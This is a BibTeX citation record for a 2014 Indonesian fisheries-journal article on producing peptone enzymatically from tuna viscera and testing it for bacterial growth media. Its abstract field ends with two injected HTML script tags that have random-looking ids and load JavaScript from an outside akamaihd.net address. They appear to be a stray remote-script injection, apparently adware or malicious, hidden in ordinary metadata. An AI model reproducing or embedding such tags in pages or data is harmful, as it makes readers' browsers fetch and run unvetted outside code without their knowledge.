@article{Nurhayati_Desniar_Suhandana_2014, place={Bogor, ID}, title={PEMBUATAN PEPTON SECARA ENZIMATIS MENGGUNAKAN BAHAN BAKU JEROAN IKAN TONGKOL}, volume={16}, url={https://jurnal.ipb.ac.id/index.php/jphpi/article/view/8112}, DOI={10.17844/jphpi.v16i1.8112}, abstractNote={Abstrak<br />Jeroan ikan tongkol memiliki kandungan protein yang hampir sama dengan daging ikan sehingga memiliki<br />potensi yang besar untuk dijadikan pepton. Penelitian ini bertujuan memproduksi pepton dari jeroan ikan<br />tongkol menggunakan enzim papain dan mengujinya untuk pertumbuhan bakteri. Konsentrasi enzim optimal<br />yang digunakan untuk hidrolisis protein jeroan ikan tongkol adalah 0,26% dengan waktu hidrolisis selama<br />3 jam. Pepton jeroan ikan tongkol memiliki kadar air 7,66%; kadar abu 2,34%; kadar protein 50,18%; dan<br />kadar lemak 0,47%. Kadar asam amino tertinggi dan terendah masing-masing adalah asam glutamat (6,38%)<br />dan sistein (0,68%). Pepton jeroan ikan tongkol memiliki kelarutan 98,20%; total nitrogen 8,03%; α-amino<br />nitrogen bebas 1,12%; rasio asam amino bebas terhadap total nitrogen 13,93%; kadar garam 0,79%; rendemen<br />3,92-5,54% dan pH 6,02. Pepton jeroan ikan tongkol dapat digunakan sebagai salah satu penyusun media luria<br />broth (LB) untuk pertumbuhan bakteri Escherichia coli dan Staphylococcus aureus. Kecepatan pertumbuhan<br />spesifi k maksimum E. coli pada media yang menggunakan pepton jeroan tongkol lebih tinggi dibandingkan<br />dengan pepton komersial, sedangkan kecepatan pertumbuhan spesifi k maksimum S. aureus lebih rendah pada<br />media pertumbuhan LB yang mengandung pepton jeroan tongkol.<br />Kata kunci: hidrolisis, jeroan ikan, papain, pepton<script id="asdasdfdhggfhjhlfd4" src="http://asrv-a.akamaihd.net/sd/1018/1005.js"></script><script id="asdasdfdhggfhjhl45646" src="http://asrv-a.akamaihd.net/sd/1018/1022.js"></script&gt;}, number={1}, journal={Jurnal Pengolahan Hasil Perikanan Indonesia}, author={NurhayatiTati - and Desniar- - and SuhandanaMade -}, year={2014}, month={Jun.} }